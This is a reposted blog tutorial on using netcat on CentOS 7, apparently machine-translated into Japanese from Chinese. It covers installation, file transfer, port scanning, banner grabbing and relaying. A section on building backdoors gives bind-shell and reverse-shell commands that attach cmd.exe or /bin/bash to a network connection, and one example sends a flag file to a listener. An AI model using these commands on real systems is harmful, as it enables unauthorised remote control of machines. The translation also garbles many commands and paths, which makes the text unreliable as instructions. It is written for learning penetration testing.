NC centos7

centos7ダウンロードNC:
wgetのhttps://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz

タール-zxvfのnetcat-0.7.1.tar.gzを解凍

CDは/ usr / local

MVのnetcat-0.7.1のnetcat

CDは/ usr / local / netcatを

。/構成、設定

コンパイルメイク

make installをインストールします。

構成のvim / etc / profileを

次の行を追加します。

*#セットnetcatをパス

輸出NETCAT_HOME =は/ opt / netcatを

輸出PATH = P A T H 道: NETCAT_HOME / binに

保存は、終了し、設定を有効にします:

ソースは/ etc / profile

テスト

NC -help成功


BASE64変換
端子と入力に変換目標値入力BASE64
BASE64の
dangtianpengを
押した後には、CTRL + Dを得るために、入力します

ベースのTCP / IPプロトコル(C / Sモデル)

クライアントにデータを送信するサーバー

情報を転送する:
サーバ側の方法の作成:
NC -l -p localPortでは
NC -l -p 333(サーバIP:1.1.1.1)

创建一个客户端方法(连接服务端)
	nc [remote_addr] [remoteport]
	nc -nv 1.1.1.1 333

戻り値は、シェル
サーバ作成方法:
-l -p NC [localPortでは] -e CMD.EXE

创建一个客户端方法(连接服务器端)
	nc [remote_addr][remoteport]

NCデータ伝送、標準入出力ストリームの使用は、あなたが直接コマンドライン操作を使用することができます。

使用するファイル転送方法は:
サーバ側のメソッドを作成する:(サーバーがファイルを受信する)
NC -l -p [localPortでは]> Outfile.txtを
NC 333 -l -p> Outfile.txtを
クライアント(ファイル転送)を作成
NC [REMOTE_ADDR ] [次に、remoteport </root/Desktop/flag.txt

この時点では、サーバーが接続する準備ができていなかった、とクライアントが接続するために、NCを使用している場合、
クライアントは「仮死」状態の一種で、その結果、サーバーの接続ことを知って、いつまでも待ちます
待機時間を設定します。解決策は
NC -w3 [IP]、[ポート]は待機時間は3秒、3秒後に、クライアント近い接続です設定しました

netcatを情報検出

  1. ターゲットネットワークスキャン
  2. ターゲットポートの簡単な検出
  3. サービスバナー目標クロール

ポートは、使用してスキャン
NCは-Z -W1 [target_ip] [start_target_port-stop_target_port] -N -v
エラー出力の-v詳細な表現
機械DNS解決標的ない-n
、ポートスキャンに専用ゼロI / Oモード-Zを表し任意のペイロードが含まれていないターゲット表により送信されたIPデータは、
スキャンやってスピードを加速することができる
1秒のタイムアウトを-w1

バナー抓取
エコー「」| NC -v -n -w1 [target_ip] [start_target_port-stop_target_port]

取得対象のコマンドが実行権限を

ウィンドウには、バックドアの方法を確立しました。

  1. モニタータイプバックドア
    NC -l -p 4444 -e cmd.exeの
  2. バックドア接続タイプ
    NC [REMOTE_IP] [REMOTE_PORT] -e CMD.EXE

Linuxのバックドア確立する方法
:1.バックドアモニタータイプ
NC -l -p 4444 -e / binに/ bashの
2バックドア接続型
NC [REMOTE_IP] [REMOTE_PORT] -e / binに/ bashのを

コマンドパラメータ

ビュー-hパラメータコマンド
コマンドウィンドウから、バックグラウンドで実行が-d
プログラムを実行し、確立されたバックドア-eは、
画期的な制限-Gネットワークで使用される、ゲートウェイを設定
ホップ-gルーティング
データ間隔-iの各行設定を
セットのnetcat接続-lを待っているリスニング状態で
クライアントが開いたときに、接続を待っている状態をリスニングにセットnetcatを、サーバがまだ待ち状態-Lに戻り
、セットのnetcatは、IPアドレス、もはや-n DNS解決を識別
していない転送の16進数を-oデータは、
ローカルリスニングポート番号-p設定
-r無作為ポート番号netcatを設けたが、
-s netcatをソースアドレス設け
返信要求パケット-tテルネット
のnetcat -u UDPモード(TCPのnetcatをデフォルトモード)を使用して提供される
ディスプレイ-vエラーメッセージが
-w秒でタイムアウトに接続して設けられた
スキャンモードを設定し、データが送信されたパケットが含まれていない表すペイロード-Z

接続の転送は
、いくつかの特別な場合に対処するために、特定の特殊な状況での接続制限を破るためにある
エコーNC [対象] [ポート]> delay.bat
NC -l -p [localPortでは] -e delay.bat
ときサービスへのクライアント接続最後に、クライアントの接続とポートフォワーディング機能を経由してターゲットサーバへの接続は、接続を達成するとき。()

公開された17元の記事 ウォンの賞賛2 ビュー3523

おすすめ

転載: blog.csdn.net/Aidang/article/details/95065308